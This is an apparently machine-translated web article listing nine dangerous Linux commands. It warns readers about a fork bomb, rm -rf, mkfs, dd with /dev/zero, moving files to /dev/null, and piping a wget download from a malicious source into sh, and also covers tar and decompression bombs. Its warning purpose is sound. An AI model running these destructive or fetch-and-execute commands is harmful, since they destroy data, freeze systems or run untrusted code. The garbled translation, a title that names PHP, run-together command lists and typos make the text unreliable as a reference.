9 PHP commands and code that must be always vigilant

Source: Internet
Author: User
The Linuxshell/terminal command is very powerful, even if a simple command may cause the folder, file, or path folder to be deleted.

The Linux shell/terminal command is very powerful, even if a simple command may cause the folder, file, or path folder to be deleted.

In some cases, Linux does not even ask you to directly execute commands, resulting in loss of various data information.

Generally, new Linux users are recommended to execute these commands on the Web. of course, some people who have written this code do not think so, because it is not a joke to write it down.

Here I have collected some Linux code that harms the system to help you avoid them. Remember: these codes are very dangerous and can be modified to make them more harmful.

Note that some commands are harmful only when the sudo prefix is in Ubuntu. In other versions of Linux, it is harmful when used as the root directory command.

1. Linux Fork Bomb Command

() {:|:&};: Known as Fork Bomb, it is a Linux system for DoS attacks. :() {:|:&};: Is a bash function. As long as it is executed, it repeats until the system is frozen.

You can only restart the system to solve this problem. Therefore, when you execute this command on the Linux interface, pay attention to it.

2. Mv Folder/Dev/Null Command

Mv folder/dev/null is also a dangerous command. Dev/null or null device is a device file that deletes all data written on the device file. However, this operation prompts that the write operation is successful. This is what we often call bit bucked or black hole.

3. Rm Rf Command

The rm rf command can quickly delete folders and their contents in Linux. If you don't know how to use it correctly, you just have to cry.

The most common combination and selection of mrf commands in the column:

Rm command: delete the Linux system file rm f command: no need to prompt, delete the read-only file rm r command in the file to delete the folder content rm d command: delete an empty directory, if the directory is not empty, rm rf/command will not be executed: force delete all contents and subfolders (including write protection files) in the root directory command. Rm rf command: force delete all contents in the current directory (current working directory) and rm rf. command: force delete all contents in the current folder directory/subdirectory. The same as rm r. [^.] The rm r. [^.] command: delete files and folders with The deletion prompt

4. Mkfs Command

If you do not know the role of mkfs, it is also a dangerous command. any command written after mkfs will be formatted and replaced by a blank linux file system.

The following lists the commands that require administrator permissions to format the hard disk:

mkfsmkfs.ext3mkfs.bfsmkfs.ext2mkfs.minixmkfs.msdos mkfs.reiserfsmkfs.vfat

Mkfs. cramfs can do the same thing as the above code, but you do not need to manage the source permission.

5. Tar Bomb

The tar command is used to put multiple files into one file (archive files) in the .tar format ). Tape Archive (Tar) bomb can be created by him.

When the file is compressed, tens of thousands of similar name files generated by the archive file appear in the current directory rather than the new directory.

When you receive a tar file, create a new protection directory on a regular basis, and put the accepted tar file into this directory before decompression, you can avoid being a victim of tar bomb.

6. Dd Command

The Dd command is used to copy and change the hard disk partition. If you use the wrong part, it is dangerous.

The following list the dd commands:

dd if=/dev/hda of=/dev/hdbdd if=/dev/hda of=/dev/sdbdd if=something of=/dev/hdadd if=something of=/dev/sda

The following Command clears the entire hard drive: dd if =/dev/zero of =/dev/had

7. Shell Script Code

Sometimes, you may be pitted, giving you a shell script file for you to download and execute it. This script may contain malicious or dangerous code. The command format may be as follows: wget http: // some_malicious_source O | sh. Wget will download the script when sh is narrow.

8. Malicious Source Code

Maybe someone will give you the source code for you to compile it. The code may be a normal code, but some malicious code is disguised in large source code. if so, your system will be shot. How to avoid it? Only source code from trusted sources is accepted and compiled.

9. Decompression Bomb

You have received a compressed file. you are requested to extract this small file, which may be smaller than KB. In fact, this small compressed file contains highly compressed data.

As long as the file is unzipped, hundreds of GB of data will be extracted. at this time, if the disk is filled with too much data, it will lead to downtime, and the probability will be high. How to avoid it? In other words, do not accept all files. please accept trusted source files.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.